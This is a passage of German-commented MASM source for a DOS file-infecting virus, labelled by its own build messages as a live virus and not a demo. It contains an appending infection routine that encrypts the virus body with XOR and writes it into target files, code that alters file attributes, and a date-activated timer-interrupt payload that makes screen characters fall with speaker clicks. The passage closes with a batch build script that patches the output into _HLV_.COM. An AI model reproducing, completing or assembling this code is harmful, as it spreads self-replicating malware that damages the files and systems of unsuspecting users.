MOV CX,CS:[File_Attributes] ;
|
||
TEST CL,Attr_SHR ;
|
||
JNZ XI_024 ;
|
||
TEST CL,Attr_A ;
|
||
JNZ XI_025 ;
|
||
XI_024: MOV AX,MS_SetFileAttr ;
|
||
LDS DX,CS:DWORD PTR [Pathname] ;
|
||
MSDOS ;
|
||
IF2 ;----------------;
|
||
%Out º°°°°°°°°°°°°°°°°°°°°°°ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»°°°°°°°°°°°°°°°°°°°°°°°º
|
||
%Out º°°°°°°°°°°°°°°°°°°°°°°º KEIN DEMO, º°°°°°°°°°°°°°°°°°°°°°°°º
|
||
%Out º°°°°°°°°°°°°°°°°°°°°°°º scharfer Virus. º°°°°°°°°°°°°°°°°°°°°°°°º
|
||
ENDIF ;
|
||
ELSE ;
|
||
.ERR ;
|
||
ENDIF ;
|
||
ENDIF ;
|
||
IF SWITCHABLE ;
|
||
IF2 ;
|
||
%Out º°°°°°°°°°°°ÉÍÍÍÍÍÍÍÍÍÍÊÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÊÍÍÍÍÍÍÍÍÍÍ»°°°°°°°°°°°°º
|
||
%Out º°°°°°°°°°°°º Neuer interner MSDOS Befehl '_HLV_' ! º°°°°°°°°°°°°º
|
||
ENDIF ;
|
||
ELSE ;
|
||
IF2 ;
|
||
%Out º°°°°°°°°°°°ÉÍÍÍÍÍÍÍÍÍÍÊÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÊÍÍÍÍÍÍÍÍÍÍ»°°°°°°°°°°°°º
|
||
%Out º°°°°°°°°°°°º Kommando '_HLV_' nicht implementiert. º°°°°°°°°°°°°º
|
||
ENDIF ;
|
||
ENDIF ;
|
||
DISPNUM MACRO nu,nuxx ;
|
||
%Out º°°°°°°°°°°°º (Monat - Jahr) nu - nuxx º°°°°°°°°°°°°º
|
||
ENDM ;
|
||
IF2 ;
|
||
%Out º°°°°°°°°°°°º Bis zum Jahresende aktiv ab: º°°°°°°°°°°°°º
|
||
.radix 10 ;
|
||
DISPNUM %MONTH,%YEAR ;
|
||
.radix 16 ;
|
||
%Out º°°°°°°°°°°°ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ°°°°°°°°°°°°º
|
||
endif ;
|
||
XI_025: REST DS,ES,BP,DI,SI,DX,CX,BX,AX,F ;----------------;
|
||
JMP XI_014 ;
|
||
IF DEMO ;
|
||
;
|
||
comment #
|
||
ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
|
||
³ Statt APPEND in der DEMO - Version aufgerufene Prozedur. ³
|
||
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
|
||
# ;
|
||
DEMO_INFECT PROC NEAR ;
|
||
push ax ;
|
||
push cx ;
|
||
in al,61 ;
|
||
or al,3 ;
|
||
out 61,al ;
|
||
mov al,0b6 ;
|
||
out 43,al ;
|
||
mov cx,0a ;
|
||
XI_026: dec cx ;
|
||
jz XI_030 ;
|
||
XI_027: mov ax,200d ;
|
||
XI_028: dec ax ;
|
||
cmp ax,100d ;
|
||
jz XI_031 ;
|
||
push ax ;
|
||
out 42,al ;
|
||
push cx ;
|
||
mov cx,150d ;
|
||
XI_029: nop ;
|
||
loop XI_029 ;
|
||
pop cx ;
|
||
mov al,ah ;
|
||
out 42,al ;
|
||
pop ax ;
|
||
jmp XI_028 ;
|
||
XI_030: in al,61 ;
|
||
and al,0fc ;
|
||
out 61,al ;
|
||
pop cx ;
|
||
pop ax ;
|
||
ret ;
|
||
XI_031: inc ax ;
|
||
cmp ax,600d ;
|
||
jz XI_026 ;
|
||
push ax ;
|
||
out 42,al ;
|
||
push cx ;
|
||
mov cx,150d ;
|
||
XI_032: nop ;
|
||
loop XI_032 ;
|
||
pop cx ;
|
||
mov al,ah ;
|
||
out 42,al ;
|
||
pop ax ;
|
||
jmp XI_031 ;
|
||
DEMO_INFECT ENDP ;
|
||
;
|
||
ELSE ;
|
||
comment #
|
||
ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
|
||
³ Append Virus - von der Int21ISR aufgerufene Infektions-Prozdur ³
|
||
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
|
||
# ;
|
||
Append_Virus PROC NEAR ;
|
||
SAVE ES,BX ;
|
||
MOV AH,MS_AllocMem ;----------;
|
||
MOV BX,(OFFSET EOFC - OFFSET Crypt1) SHR 4 + 1 ;
|
||
MSDOS ;----------;
|
||
POP BX ;
|
||
JNB XI_034 ;
|
||
XI_033: STC ;
|
||
POP ES ;
|
||
RET ;
|
||
XI_034: MOV CS:[Crypt3],EnCrptd ;
|
||
MOV ES,AX ;
|
||
MOV_S DS,CS ;
|
||
XOR DI,DI ;
|
||
MOV SI,PSPsize ;
|
||
MOV CX,OFFSET EOFC ;
|
||
CLD ;
|
||
REPZ MOVSB ;
|
||
MOV DI,OFFSET XI_003 ;
|
||
MOV SI,OFFSET XR_001 ;
|
||
ADD SI,[File_Size_lsb] ;
|
||
MOV CX,OFFSET EOFC - OFFSET XI_003 ;
|
||
XI_035: XOR ES:[DI],SI ;
|
||
XOR ES:[DI],CX ;
|
||
INC DI ;
|
||
INC SI ;
|
||
LOOP XI_035 ;
|
||
MOV DS,AX ;
|
||
MOV AH,MS_Write ;
|
||
XOR DX,DX ;
|
||
MOV CX,OFFSET EOFC ;
|
||
MSDOS ;
|
||
SAVE F,AX ;
|
||
MOV AH,MS_ReleaseMem ;
|
||
MSDOS ;
|
||
REST AX,F ;
|
||
MOV_S DS,CS ;
|
||
JB XI_033 ;
|
||
CMP AX,CX ;
|
||
JNZ XI_033 ;
|
||
POP ES ;
|
||
CLC ;
|
||
RET ;
|
||
Append_Virus ENDP ;
|
||
;
|
||
ENDIF ;
|
||
comment #
|
||
ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
|
||
³ 'Zufallszahlen' - Generator. ³
|
||
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
|
||
# ;
|
||
Random PROC NEAR ;
|
||
SAVE DS ;
|
||
MOV_S DS,CS ;
|
||
SAVE BX,CX,DX,AX ;
|
||
MOV CX,7 ;
|
||
MOV BX,offset LastRandom ;
|
||
PUSH [BX] ;
|
||
XI_036: MOV AX,[BX-02] ;
|
||
ADC [BX],AX ;
|
||
DEC BX ;
|
||
DEC BX ;
|
||
LOOP XI_036 ;
|
||
POP AX ;
|
||
ADC [BX],AX ;
|
||
MOV DX,[BX] ;
|
||
POP AX ;
|
||
OR AX,AX ;
|
||
JZ XI_037 ;
|
||
MUL DX ;
|
||
XI_037: MOV AX,DX ;
|
||
REST DX,CX,BX,DS ;
|
||
RET ;
|
||
Random ENDP ;
|
||
comment #
|
||
ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
|
||
³ Zeichen und Attribut aus Videospeicher auslesen. ³
|
||
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
|
||
# ;
|
||
Load_from_VRAM PROC NEAR ;
|
||
SAVE SI,DS,DX ;
|
||
MOV AL,DH ;
|
||
MUL [Num_of_Col] ;
|
||
MOV DH,0 ;
|
||
ADD AX,DX ;
|
||
SHL AX,1 ;
|
||
ADD AX,[Page_offset] ;
|
||
MOV SI,AX ;
|
||
TEST [Prevent_Snow?],-1 ;
|
||
MOV DS,[Seg_of_VRAM] ;
|
||
JZ XI_038 ;
|
||
Wait_HRI_or_VRI ;
|
||
XI_038: LODSW ;
|
||
STI ;
|
||
REST DX,DS,SI ;
|
||
RET ;
|
||
Load_from_VRAM ENDP ;
|
||
comment #
|
||
ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
|
||
³ Zeichen und Attribut (AX) in den Videospeicher schreiben. ³
|
||
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
|
||
# ;
|
||
Write_to_VRAM PROC NEAR ;
|
||
SAVE DI,ES,DX,BX ;
|
||
MOV BX,AX ;
|
||
MOV AL,DH ;
|
||
MUL [Num_of_Col] ;
|
||
MOV DH,0 ;
|
||
ADD AX,DX ;
|
||
SHL AX,1 ;
|
||
ADD AX,[Page_offset] ;
|
||
MOV DI,AX ;
|
||
TEST [Prevent_Snow?],-1 ;
|
||
MOV ES,[Seg_of_VRAM] ;
|
||
JZ XI_039 ;
|
||
Wait_HRI_or_VRI ;
|
||
XI_039: MOV AX,BX ;
|
||
STOSB ;
|
||
STI ;
|
||
REST BX,DX,ES,DI ;
|
||
RET ;
|
||
Write_to_VRAM ENDP ;
|
||
comment #
|
||
ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
|
||
³ Bit 0 von Port B des 8255 Chips zur<EFBFBD>cksetzen (IO-Adresse : &H61 ). ³
|
||
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
|
||
# ;
|
||
Toggle_Speaker PROC NEAR ;
|
||
PUSH AX ;
|
||
IN AL,PORT_B_8255 ;
|
||
XOR AL,02 ;
|
||
AND AL,0FE ;
|
||
OUT PORT_B_8255,AL ;
|
||
POP AX ;
|
||
RET ;
|
||
Toggle_Speaker ENDP ;
|
||
comment #
|
||
ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
|
||
³ CF gesetzt, wenn AL ein nicht darstellbares Zeichen enth„lt. ³
|
||
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
|
||
# ;
|
||
Is_it_blank_? PROC NEAR ;
|
||
CMP AL,0 ;
|
||
JZ XI_040 ;
|
||
CMP AL,20 ;
|
||
JZ XI_040 ;
|
||
CMP AL,-1 ;
|
||
JZ XI_040 ;
|
||
CLC ;
|
||
RET ;
|
||
XI_040: STC ;
|
||
RET ;
|
||
Is_it_blank_? ENDP ;
|
||
comment #
|
||
ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
|
||
³ CF gesetzt, wenn AL ein Zeichen aus dem Linienzeichensatz enth„lt. ³
|
||
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
|
||
# ;
|
||
Spec_Graphik? PROC NEAR ;
|
||
CMP AL,0B0 ;
|
||
JB XI_041 ;
|
||
CMP AL,0DF ;
|
||
JA XI_041 ;
|
||
STC ;
|
||
RET ;
|
||
XI_041: CLC ;
|
||
RET ;
|
||
Spec_Graphik? ENDP ;
|
||
comment #
|
||
ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
|
||
³ Geschwindigkeit der Maschine ( zur Verwendung in DELAY ) ermitteln. ³
|
||
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
|
||
# ;
|
||
GetSysSpeed PROC NEAR ;
|
||
PUSH DS ;
|
||
MOV AX,BIOSDATASEG ;
|
||
MOV DS,AX ;
|
||
STI ;
|
||
MOV AX,[B_TIMERVAR] ;
|
||
XI_042: CMP AX,[B_TIMERVAR] ;
|
||
JZ XI_042 ;
|
||
XOR CX,CX ;
|
||
MOV AX,[B_TIMERVAR] ;
|
||
XI_043: INC CX ;
|
||
JZ XI_045 ;
|
||
CMP AX,[B_TIMERVAR] ;
|
||
JZ XI_043 ;
|
||
XI_044: POP DS ;
|
||
MOV AX,CX ;
|
||
XOR DX,DX ;
|
||
MOV CX,0F ;
|
||
DIV CX ;
|
||
MOV CS:[Speed],AX ;
|
||
RET ;
|
||
XI_045: DEC CX ;
|
||
JMP XI_044 ;
|
||
GetSysSpeed ENDP ;
|
||
comment #
|
||
ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
|
||
³ Verz”gern ( Verz”gerungszeit ist kaum maschinenabh„ngig ). ³
|
||
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
|
||
# ;
|
||
Delay PROC NEAR ;
|
||
PUSH CX ;
|
||
XI_046: PUSH CX ;
|
||
MOV CX,[Speed] ;
|
||
XI_047: LOOP XI_047 ;
|
||
POP CX ;
|
||
LOOP XI_046 ;
|
||
POP CX ;
|
||
RET ;
|
||
Delay ENDP ;
|
||
comment #
|
||
ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
|
||
³ Eine neue Interrupt 1C(h) Behandlungsroutine. ³
|
||
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
|
||
# ;
|
||
XI_048 LABEL NEAR ;
|
||
XR_009 EQU XI_048 + PSPsize ;----------;
|
||
TEST CS:[ISR_Flags],MASK R_in_1c OR MASK ExtCom ;
|
||
JZ XI_049 ;----------;
|
||
JMP XI_067 ;
|
||
XI_049: OR CS:[ISR_Flags],MASK R_in_1c ;
|
||
DEC CS:[XR_002] ;
|
||
JZ XI_050 ;
|
||
JMP XI_066 ;
|
||
XI_050: SAVE DS,ES ;
|
||
MOV_S DS,CS ;
|
||
MOV_S ES,CS ;
|
||
SAVE AX,BX,CX,DX,SI,DI,BP ;
|
||
MOV AL,EOI_8259A ;
|
||
OUT PORT_B_8259A,AL ;
|
||
MOV AX,[XR_003] ;
|
||
CMP AX,0438 ;
|
||
JNB XI_051 ;
|
||
MOV AX,0438 ;
|
||
XI_051: CALL Random ;
|
||
INC AX ;
|
||
MOV [XR_002],AX ;
|
||
MOV [XR_003],AX ;
|
||
PUSH DS ;
|
||
MOV AX,BIOSDATASEG ;
|
||
MOV DS,AX ;
|
||
MOV AX,[B_VidPage] ;
|
||
POP DS ;
|
||
MOV [Page_offset],AX ;
|
||
MOV [Last_Line],18 ;
|
||
MOV DL,-1 ;
|
||
MOV AX,1130 ;
|
||
MOV BH,0 ;
|
||
SAVE ES,BP ;
|
||
INT 10 ;
|
||
REST BP,ES ;
|
||
CMP DL,-1 ;
|
||
JZ XI_052 ;
|
||
MOV [Last_Line],DL ;
|
||
XI_052: CALL GetSysSpeed ;
|
||
MOV AH,0F ;
|
||
INT 10 ;
|
||
MOV [Num_of_Col],AH ;
|
||
MOV [Prevent_Snow?],0 ;
|
||
MOV [Seg_of_VRAM],MonoBase ;
|
||
CMP AL,07 ;
|
||
JZ XI_054 ;
|
||
JB XI_053 ;
|
||
JMP XI_064 ;
|
||
XI_053: MOV [Seg_of_VRAM],ColorBase ;
|
||
CMP AL,03 ;
|
||
JA XI_054 ;
|
||
CMP AL,02 ;
|
||
JB XI_054 ;
|
||
MOV [Prevent_Snow?],01 ;
|
||
MOV AL,[Last_Line] ;
|
||
INC AL ;
|
||
MUL [Num_of_Col] ;
|
||
MOV [Num_of_char],AX ;
|
||
MOV AX,[XR_004] ;
|
||
CMP AX,[Num_of_char] ;
|
||
JBE XI_054 ;
|
||
MOV AX,[Num_of_char] ;
|
||
XI_054: CALL Random ;
|
||
INC AX ;
|
||
MOV SI,AX ;
|
||
XI_055: XOR DI,DI ;
|
||
XI_056: INC DI ;
|
||
MOV AX,[Num_of_char] ;
|
||
SHL AX,1 ;
|
||
CMP DI,AX ;
|
||
JBE XI_057 ;
|
||
JMP XI_064 ;
|
||
XI_057: OR [ISR_Flags],MASK Recf_1 ;
|
||
MOV AL,[Num_of_Col] ;
|
||
MOV AH,0 ;
|
||
CALL Random ;
|
||
MOV DL,AL ;
|
||
MOV AL,[Last_Line] ;
|
||
MOV AH,0 ;
|
||
CALL Random ;
|
||
MOV DH,AL ;
|
||
CALL Load_from_VRAM ;
|
||
CALL Is_it_blank_? ;
|
||
JB XI_056 ;
|
||
CALL Spec_Graphik? ;
|
||
JB XI_056 ;
|
||
MOV [Last_Pair],AX ;
|
||
MOV CL,[Last_Line] ;
|
||
MOV CH,0 ;
|
||
XI_058: INC DH ;
|
||
CMP DH,[Last_Line] ;
|
||
JA XI_062 ;
|
||
CALL Load_from_VRAM ;
|
||
CMP AH,[Last_Attr] ;
|
||
JNZ XI_062 ;
|
||
CALL Is_it_blank_? ;
|
||
JB XI_060 ;
|
||
XI_059: CALL Spec_Graphik? ;
|
||
JB XI_062 ;
|
||
INC DH ;
|
||
CMP DH,[Last_Line] ;
|
||
JA XI_062 ;
|
||
CALL Load_from_VRAM ;
|
||
CMP AH,[Last_Attr] ;
|
||
JNZ XI_062 ;
|
||
CALL Is_it_blank_? ;
|
||
JNB XI_059 ;
|
||
CALL Toggle_Speaker ;
|
||
DEC DH ;
|
||
CALL Load_from_VRAM ;
|
||
MOV [Last_Char],AL ;
|
||
INC DH ;
|
||
XI_060: AND [ISR_Flags],NOT MASK Recf_1 ;
|
||
DEC DH ;
|
||
MOV AL,' ' ;
|
||
CALL Write_to_VRAM ;
|
||
INC DH ;
|
||
MOV AL,[Last_Char] ;
|
||
CALL Write_to_VRAM ;
|
||
JCXZ XI_061 ;
|
||
CALL Delay ;
|
||
DEC CX ;
|
||
XI_061: JMP XI_058 ;
|
||
XI_062: TEST [ISR_Flags],MASK Recf_1 ;
|
||
JZ XI_063 ;
|
||
JMP XI_056 ;
|
||
XI_063: CALL Toggle_Speaker ;
|
||
DEC SI ;
|
||
JZ XI_064 ;
|
||
JMP XI_055 ;
|
||
XI_064: IN AL,PORT_B_8255 ;
|
||
AND AL,0FC ;
|
||
OUT PORT_B_8255,AL ;
|
||
MOV AX,3 ;
|
||
CALL Random ;
|
||
INC AX ;
|
||
MUL [XR_004] ;
|
||
JNB XI_065 ;
|
||
MOV AX,-1 ;
|
||
XI_065: MOV [XR_004],AX ;
|
||
REST BP,DI,SI,DX,CX,BX,AX,ES,DS ;
|
||
XI_066: AND CS:[ISR_Flags],NOT MASK R_in_1c ;
|
||
XI_067: JMP DWORD PTR CS:[Org_Int_1C] ;
|
||
;
|
||
IF SWITCHABLE ;
|
||
;
|
||
comment #
|
||
ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
|
||
³ Implementierung eines neuen in CMD_2F definierten internen Befehls. ³
|
||
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
|
||
# ;
|
||
XI_068 Label Near ;
|
||
Int_2F_ISR EQU XI_068 + PSPsize ;
|
||
CMP AH,0AEH ;
|
||
JNZ Int_2F_end ;
|
||
CMP DX,-1 ;
|
||
JNZ Int_2F_end ;
|
||
CMP AL,0 ;
|
||
JNZ Int_2F_2nd ;
|
||
CALL Decode_2F ;
|
||
JNZ Int_2F_end ;
|
||
DEC AL ;
|
||
IRET ;
|
||
Int_2F_2nd: CMP AL,1 ;
|
||
JNZ Int_2F_end ;
|
||
CALL Decode_2F ;
|
||
JNZ Int_2F_end ;
|
||
SAVE DS,DX,AX ;
|
||
MOV_S DS,CS ;
|
||
XOR [ISR_Flags],MASK ExtCom ;
|
||
MOV DX,OFFSET MSG_ON ;
|
||
TEST [ISR_Flags],MASK ExtCom ;
|
||
JZ XI_069 ;
|
||
MOV DX,OFFSET MSG_OFF ;
|
||
XI_069: MOV AH,9 ;
|
||
MSDOS ;
|
||
REST AX,DX,DS ;
|
||
AND BYTE PTR [SI],0 ;
|
||
IRET ;
|
||
Int_2F_end: JMP DWORD PTR CS:[Org_Int_2F] ;
|
||
comment #
|
||
ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
|
||
³ šberpr<EFBFBD>fen, ob der in CMD_2F definierte Befehl angesprochen wurde. ³
|
||
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
|
||
# ;
|
||
Decode_2F PROC NEAR ;
|
||
SAVE SI,DI,ES,CX ;
|
||
MOV CX,05 ;
|
||
MOV_S ES,CS ;
|
||
MOV DI,OFFSET Cmd_2F ;
|
||
CLD ;
|
||
REPE CMPSW ;
|
||
REST CX,ES,DI,SI ;
|
||
RET ;
|
||
Decode_2F ENDP ;
|
||
;
|
||
ENDIF ;
|
||
comment #
|
||
ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
|
||
³ Okay, das war's. Zum Schluá noch einige Definitionen. ³
|
||
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
|
||
# ;
|
||
EOFC EQU THIS WORD ;
|
||
XR_010 EQU OFFSET EOFC - 1 + FIRSTBASE ;
|
||
TEXT ENDS ;
|
||
IF2 ;----------------;
|
||
%Out º°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°º
|
||
%Out ÈÍÍÍÍÍÍÍÍ (C) 1990 164A12565AA18213165556D3125C4B962712 ÍÍÍÍÍÍÍÍͼ
|
||
ENDIF ;
|
||
comment #
|
||
ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
|
||
º º
|
||
º So k”nnte ein Batch - Makefile aussehen : º
|
||
º º
|
||
º @cls º
|
||
º @if %1.==. goto nopar º
|
||
º @if not exist %1.asm goto noasm º
|
||
º @ctty nul º
|
||
º @del %1.obj º
|
||
º @del %1.lst º
|
||
º @del %1.crf º
|
||
º @del %1.ref º
|
||
º @del %1.map º
|
||
º @del %1.exe º
|
||
º @del %1.bin º
|
||
º @del _HLV_.COM º
|
||
º @ctty con º
|
||
º @masm /b63 %1,,%1,%1 %2 %3 %4; º
|
||
º @if not exist %1.obj goto masm_err º
|
||
º @link %1,,%1; º
|
||
º @if not exist %1.exe goto link_err º
|
||
º @exe2bin %1; º
|
||
º @if not exist %1.bin goto exe2_err º
|
||
º @cref %1; º
|
||
º @if not exist %1.ref goto cref_err º
|
||
º @echo >> %1.lst º
|
||
º @copy %1.lst+%1.map+%1.ref %1.t > nul º
|
||
º @del %1.lst > nul º
|
||
º @ren %1.t %1.lst > nul º
|
||
º @del %1.obj > nul º
|
||
º @del %1.crf > nul º
|
||
º @del %1.ref > nul º
|
||
º @del %1.map > nul º
|
||
º @del %1.exe > nul º
|
||
º @echo n %1.bin > md.inp º
|
||
º @echo l 11f >> md.inp º
|
||
º @echo a 110 >> md.inp º
|
||
º @echo add cx,20 >> md.inp º
|
||
º @echo. >> md.inp º
|
||
º @echo g =110 113 >> md.inp º
|
||
º @echo f 110 11e 20 >> md.inp º
|
||
º @echo e 110 '%1' >> md.inp º
|
||
º @echo f 100 10f 90 >> md.inp º
|
||
º @echo a 100 >> md.inp º
|
||
º @echo jmp 120 >> md.inp º
|
||
º @echo nop >> md.inp º
|
||
º @echo nop >> md.inp º
|
||
º @echo nop >> md.inp º
|
||
º @echo mov ax,4c00 >> md.inp º
|
||
º @echo int 21 >> md.inp º
|
||
º @echo. >> md.inp º
|
||
º @echo n _HLV_.com >> md.inp º
|
||
º @echo w >> md.inp º
|
||
